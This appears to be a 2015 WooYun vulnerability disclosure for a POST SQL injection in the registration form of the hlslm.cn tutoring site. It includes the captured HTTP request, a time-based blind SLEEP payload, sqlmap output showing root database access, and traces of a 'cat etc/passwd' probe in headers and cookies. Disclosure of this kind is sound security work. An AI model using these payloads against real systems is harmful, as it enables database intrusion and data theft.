当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135618

漏洞标题:好老师联盟root权限post注入一枚

相关厂商:hlslm.cn

漏洞作者: 牛 小 帅

提交时间:2015-08-20 15:44

修复时间:2015-10-04 16:34

公开时间:2015-10-04 16:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-30: 细节向核心白帽子及相关领域专家公开
2015-09-09: 细节向普通白帽子公开
2015-09-19: 细节向实习白帽子公开
2015-10-04: 细节向公众公开

简要描述:

今天好老师联盟第三发了 求一个首页吧 求一个高分(没有功劳也有苦劳吧)

详细说明:

1.在报名处存在post注入

T~NE(CRSHN3~0}6[0_ZXG$D.png


2.抓包

POST /Home/index/help_find_teacher HTTP/1.1
Host: www.hlslm.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.hlslm.cn/Teacherlist/select/t1_s1_g0_a0_c0_e0_n0_r0_p0_wcat%20etc/passwd_i0/page/1
Content-Length: 44
Cookie: PHPSESSID=ufvb6ifjfpam4rv5jh4kl71443; looyu_id=06989cbe5898915bb8ab7a248d2a7f6fda_47886%3A1; looyu_47886=v%3A06989cbe5898915bb8ab7a248d2a7f6fda%2Cref%3A%2Cr%3A%2Cmon%3Ahttp%3A//m154.looyu.com/monitor; where=cat+etc; no_tan=1; bdshare_firstime=1440033133322; vcode=132932; mobile=15128712139; username=06ZlWh; uid=42985
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
tutoringgrade=1&subject=1&mobile=15068712139


3.丢进sqlmap看结果,依旧完美root权限

Place: POST
Parameter: mobile
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: tutoringgrade=1&subject=1&mobile=15128712139') AND SLEEP(5) AND ('T
qbm'='Tqbm
---
[15:11:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.5.22, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[15:11:20] [INFO] fetching current user
[15:11:20] [INFO] resumed: root@localhost
current user: 'root@localhost'
[15:11:20] [INFO] Fetched data logged to text files under 'E:\sqlmap\sqlmap\Bin\
output\www.hlslm.cn'
[*] shutting down at 15:11:20


到此结束,求个高分

漏洞证明:

1.在报名处存在post注入

T~NE(CRSHN3~0}6[0_ZXG$D.png


2.抓包

POST /Home/index/help_find_teacher HTTP/1.1
Host: www.hlslm.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.hlslm.cn/Teacherlist/select/t1_s1_g0_a0_c0_e0_n0_r0_p0_wcat%20etc/passwd_i0/page/1
Content-Length: 44
Cookie: PHPSESSID=ufvb6ifjfpam4rv5jh4kl71443; looyu_id=06989cbe5898915bb8ab7a248d2a7f6fda_47886%3A1; looyu_47886=v%3A06989cbe5898915bb8ab7a248d2a7f6fda%2Cref%3A%2Cr%3A%2Cmon%3Ahttp%3A//m154.looyu.com/monitor; where=cat+etc; no_tan=1; bdshare_firstime=1440033133322; vcode=132932; mobile=15128712139; username=06ZlWh; uid=42985
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
tutoringgrade=1&subject=1&mobile=15068712139


3.丢进sqlmap看结果,依旧完美root权限

Place: POST
Parameter: mobile
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: tutoringgrade=1&subject=1&mobile=15128712139') AND SLEEP(5) AND ('T
qbm'='Tqbm
---
[15:11:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.5.22, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[15:11:20] [INFO] fetching current user
[15:11:20] [INFO] resumed: root@localhost
current user: 'root@localhost'
[15:11:20] [INFO] Fetched data logged to text files under 'E:\sqlmap\sqlmap\Bin\
output\www.hlslm.cn'
[*] shutting down at 15:11:20


到此结束,求个高分

修复方案:

求个高分厂商哥哥 ,我今天给你三连发了

版权声明:转载请注明来源 牛 小 帅@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-20 16:33

厂商回复:

thank

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-20 15:53 | 牛 小 帅 ( 普通白帽子 | Rank:483 漏洞数:117 | 茶凉了,就不要再续了,再续也不是原来的味...)

    @浩天 @xsser @Finger 我都三连发 一个首页都没???